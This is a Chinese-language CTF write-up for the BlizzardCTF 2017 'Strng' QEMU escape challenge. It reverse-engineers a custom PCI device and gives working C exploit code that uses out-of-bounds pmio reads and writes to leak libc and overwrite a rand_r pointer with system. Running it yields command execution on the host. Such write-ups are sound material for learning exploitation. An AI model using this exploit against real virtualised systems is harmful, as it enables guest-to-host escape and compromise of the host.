BlizzardCTF2017-Strng

1.打开虚拟环境,然后都说flag在/root/flag,给的也不是vmlinux,那么就应该是qemu逃逸。

2.由于只有文件,大佬们都直接告诉用户名密码,也没说怎么找,那就当作本来题目给了用户名和密码。用户名是ubuntu,密码是passw0rd。

3.将qemu-system-x86_64拖到IDA中开始分析,会分析很长一段时间,先看看启动参数,launch.sh:

1
2
3
4
5
6
7
8
9
10
./qemu-system-x86_64 \
-m 1G \
-device strng \
-hda my-disk.img \
-hdb my-seed.img \
-nographic \
-L pc-bios/ \
-enable-kvm \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22

没啥好注意的,显示加载了设备strng,那么这应该就是需要分析的PCI设备。然后最后一行netdev user,id=net0,hostfwd=tcp::5555-:22,把22端口重定向到了宿主机的5555端口,所以使用ssh ubuntu@127.0.0.1 -p 5555进去。同时这里注意加载内存要1G,为了防止崩溃,我改成了128M。

4.然后进入qemu中看看设备信息,好找到mmio和pmio的地址:

(1)首先输入lspci,可以看到有一个Unclassified device

00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)

这个就应该是strng设备了。

(2)加载IDA完成之后验证一下,函数栏搜索strng,查看相关函数。先查看设备初始化函数:strng_class_init。(这里需要将变量k的类型设置为PCIDeviceClass*)

img

可以看到加载了strng设备,然后设备号device_id是0x11e9,vendor_id是0x1234,对应在qemu中查看一下刚才猜测的strng设备,输入:lspci -v -s 00:03.0

img

可以看到猜测没错。同时可以看到对应的mmio地址为0xfebf1000,大小256。pmio的地址为0xc050,大小8。

▲有时候这些命令可能不好使,判断完设备号之后,可以输入:

hexdump /sys/devices/pci0000:00/0000:00:03.0/config来查看

img

5.之后从read和write函数中找漏洞:

这里将第一个参数opaque修改下类型为:struct STRNGState,至于为什么是这个,打开read和write的汇编代码,很明显发现有STRNGState,然后再跳转到结构体界面中找,虽然不太好找。找到之后双击,可以显示出结构体的所有成员,发现就是需要的那个:

img

(1)先看strng_mmio_read函数,读入addr并按二进制将其右移两位,相当于除以4,之后将结果作为regs数组的索引,返回该regs[add>>2]的值。同时还需要注意的是addr的低两位只能为0,否则过不了if ( size == 4 && !(addr & 3) )的检查。

(2)再看strng_mmio_write函数:

当size等于4时,将addr右移两位得到寄存器的索引idx,并提供4个功能:

①当idx为0时,调用srand函数但并不给赋值给内存。当i为1时,调用rand得到随机数并赋值给regs[1]。

②当idx为3时,调用rand_r函数,使用regs[2]的地址作为参数,最后将返回值赋值regs[3],但后续仍然会将val值覆盖到regs[3]中,就是迷惑用的,实际功能也就是将传入的value赋值给regs[3]。

▲但是这里的传regs[2]的地址也是一个关键,如果我们能将rand_r函数劫持为system函数,然后在regs[2]中放入”cat /root/flag”字符串,那不就可以调用system(“cat /root/flag”)从而读取flag了吗。

其余则直接将传入的value赋值给regs[idx]。

那么通过控制addr,进而控制idx>=2,就可以逐次将4个字节数据写入到regs[idx]上。

▲按理说如果将idx超出regs数组范围,64之后,那么不就可以任意越界写了吗,但是这里不行,因为传入的addr是不能大于mmio的大小,pci设备内部会进行检查,而刚好regs的大小为256,所以无法通过mmio进行越界读写。

(3)接着看strng_pmio_read函数:当传入的端口地址addr为0时,直接返回opaque->addr,否则将opaque->addr右移两位作为索引idx,返回regs[idx]的值。这个opaque->addr在strng_pmio_write中被赋值。

(4)然后再看strng_pmio_write函数:

当size等于4时,以传入的端口地址为判断提供4个功能:

①当传入的端口地址addr为0时,直接将传入的value赋值给opaque->addr。

②当传入的端口地址addr不为0时,将opaque->addr右移两位得到索引idx,分为三个功能:

A.idx为0时,执行srand,返回值不存储。

B.idx为1时,执行rand并将返回结果存储到regs[1]中。

C.idx为3时,调用rand_r并将regs[2]的地址作为第一个参数,返回值存储到regs[3]中。
否则直接将value存储到regs[idx]中。

▲这里就可以调用strng_pmio_write函数,形成任意地址写漏洞。

A.通过将addr设置为0,然后使得传入的value直接赋值给opaque->addr,使得opaque->addr形成的索引idx大于64,将reg[idx]越界指向rand_r函数指针。

B.然后再次调用strng_pmio_write函数,传入不为0的addr。通过opaque->addr形成的索引idx,使得regs[idx]指向rand_r函数指针,将value越界写入rand_r,劫持rand_r函数。

6.那么总的利用过程就清楚了:

(1)通过strng_mmio_write函数,将regs[2]赋值为”cat /root/flag”。

(2)通过strng_pmio_write函数,将rand_r函数劫持为system函数。

之后再调用strng_mmio_write函数,使得idx为3,然后将regs[2]的地址作为参数,调用rand_r函数,从而调用system(“cat /root/flag”)获取flag。

7.但是现在还需要system函数的地址,通过上面分析,可以发现有一个越界读漏洞:

(1)通过strng_pmio_write函数设置opaque->addr,使得opaque->addr形成的索引idx大于64,进而使得regs[idx]指向srand函数。

(2)通过strng_pmio_read函数,借助修改后的opaque->addr,读取idx索引regs[idx]指向的内容,也就是srand函数指针中的内容,对应的就是srand函数地址。

(这里大多数的exp都是针对srandom函数来泄露libc的,但rand或者rand_r应该也都可以)

8.那么现在总的利用过程就是泄露libc地址,然后改写rand_r函数为system函数,将”cat /root/flag”写入到regs[2],之后通过rand_r(regs[2])来调用system(“cat /root/flag”)从而获得flag。

9.开始编写poc:

(1)写好访问pmio和mmio空间的调用函数,及前置参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#注释头

unsigned char* mmio_mem;
uint32_t pmio_base=0xc050;

void die(const char* msg)
{
perror(msg);
exit(-1);
}//用来打印错误信息,退出用的,不写也没关系

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}


uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}

(2)打开resource0文件,利用mmap将mmio空间映射出来:

1
2
3
4
5
6
7
8
9
10
11
12
//注释头

// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

printf("mmio_mem @ %p\n", mmio_mem);

(3)对mmio空间进行写操作,调用strng_mmio_write函数,将”cat /root/flag”写入到regs[2]中:

1
2
3
4
5
6
//注释头

mmio_write(8,0x20746163);
mmio_write(12,0x6f6f722f);
mmio_write(16,0x6c662f74);
mmio_write(20,0x6761);

这里由于需要满足传入的addr右移两位后形成的idx需要>=2,所以从8依次开始。

(4)编写pmio空间越界读和越界写的函数:

1
2
3
4
5
6
7
8
9
10
11
uint32_t pmio_arbread(uint32_t offset)
{
pmio_write(pmio_base+0,offset);
return pmio_read(pmio_base+4);
}

void pmio_abwrite(uint32_t offset, uint32_t value)
{
pmio_write(pmio_base+0,offset);
pmio_write(pmio_base+4,value);
}

(5)利用pmio空间越界读取漏洞,泄露libc地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//注释头

if (iopl(3) !=0 )
die("I/O permission is not enough");

// leaking libc address
uint64_t srandom_addr=pmio_arbread(0x108);
srandom_addr=srandom_addr<<32;
srandom_addr+=pmio_arbread(0x104);
//这里的都是为了设置idx从而读取用的

printf("leaking srandom addr: 0x%llx\n",srandom_addr);
uint64_t libc_base= srandom_addr-0x43bb0;
uint64_t system_addr= libc_base+0x4f440;
printf("libc base: 0x%llx\n",libc_base);
printf("system addr: 0x%llx\n",system_addr);
//不同的主机环境的libc版本不同,需要修改

(6)利用越界写,将rand_r函数改写成system函数

1
2
3
4
5
6
//注释头

// overwrite rand_r pointer to system
pmio_abwrite(0x114,system_addr&0xffffffff);

mmio_write(0xc,0);//补0

最后编译:gcc -m32 -O0 -static -o exp exp.c,然后传到虚拟机里面,可以用下列两种方法:

①scp -P5555 exp ubuntu@127.0.0.1:/home/ubuntu,由于开了端口,所以可以直接通过scp端口传输。

②使用python库简易搭建一个ftp传输:

1
2
3
4
5
6
7
#注释头

#主机中运行
python2 -m SimpleHTTPServer

#qemu中运行,其中ip地址需要改变一下,对于主机ip
wget -O ./exp http://192.168.80.132:8000/exp

最后可以看到成功运行:这里我修改了cat /root/flag命令,变成/bin/sh,可以看到返回了一个主机里面的终端sh,成功实现逃逸。但是这个终端sh输入命令不显示,回显消息比较慢,但是个确确实实的主机终端,如果有条件的话,应该是可以实现多重逃逸的。

img

▲qemu逃逸调试:

1.将exp传进qemu之后,在主机上使用命令ps aux|grep qemu,找到qemu的任务id,然后gdb attach qemu_id。

2.下断点在需要的函数:b *strng_mmio_write,然后输入c接着运行。

3.在qemu中sudo ./exp,现在就能在主机的gdb中停下来,就可以调试了。

1
2
3
4
5
#注释头

p *strng
p strng.regs[1]
p strng.srand

参考资料:

https://xz.aliyun.com/search?keyword=qemu

https://ray-cp.github.io/archivers/qemu-pwn-Blizzard-CTF-2017-Strng-writeup